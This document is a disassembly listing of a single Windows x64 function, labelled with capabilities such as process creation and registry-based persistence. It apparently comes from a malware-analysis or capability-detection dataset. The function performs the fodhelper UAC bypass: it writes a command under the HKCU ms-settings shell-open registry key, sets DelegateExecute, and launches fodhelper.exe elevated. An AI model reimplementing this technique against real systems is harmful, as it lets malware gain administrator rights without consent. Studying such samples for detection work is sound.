Function at 0x140001520
Capabilities:
Create process on windows
Persist via default file association registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x48], rax
cmp ecx, 2
je 0x140001581
mov eax, 1
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.140001c60
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r14, qword [rdx + 8]
mov dword [rbp + 0x28], 0x3020100
mov dword [rbp + 0x2c], 0x7060504
mov dword [rbp + 0x30], 0xb0a0908
mov dword [rbp + 0x34], 0xf0e0d0c
mov dword [rbp + 0x38], 0x13121110
mov dword [rbp + 0x3c], 0x17161514
mov dword [rbp + 0x40], 0x1b1a1918
mov dword [rbp + 0x44], 0x1f1e1d1c
mov dword [rbp + 0x18], 0x3020100
mov dword [rbp + 0x1c], 0x7060504
mov dword [rbp + 0x20], 0xb0a0908
mov dword [rbp + 0x24], 0xf0e0d0c
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [r14 + rbx*2], 0
jne 0x1400015f1
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x1400018e2
cmp rbx, 7
ja 0x140001642
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
add rbx, rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.1400100e0
xor edi, edi
mov word [rsp + rbx + 0x50], di
jmp 0x1400016ef
mov rax, rbx
or rax, 7
xor edi, edi
cmp rax, r15
jbe 0x140001693
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400016c3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400018dc
mov rcx, rax
call fcn.140001c80
test rax, rax
je 0x1400018d6
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400016cb
mov r15, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400018dc
add rcx, rcx
jne 0x14000165e
mov rsi, rdi
jmp 0x1400016cb
call fcn.140001c80
mov rsi, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r15
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call fcn.1400100e0
mov word [rbx + rsi], di
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x28]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 8]
call fcn.1400011c0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140001748
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018d6
call fcn.140001cbc
cmp qword [rbp + 8], 0
je 0x140001893
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001893
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rcx, qword [rbp - 8]
mov eax, dword [rbp + 8]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rbx, [0x140018b10]
mov rdx, rbx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x1400017e7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001893
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.exec
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x14000181b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001893
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], eax
lea rax, str.runas
mov qword [rbp - 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x78], rdi
mov dword [rbp - 0x50], 1
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140001898
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x140001898
mov edi, 1
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x1400018cf
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018d6
call fcn.140001cbc
mov eax, edi
jmp 0x140001558
call fcn.1400077cc
int3
call fcn.140001100
int3
call fcn.1400011a0
int3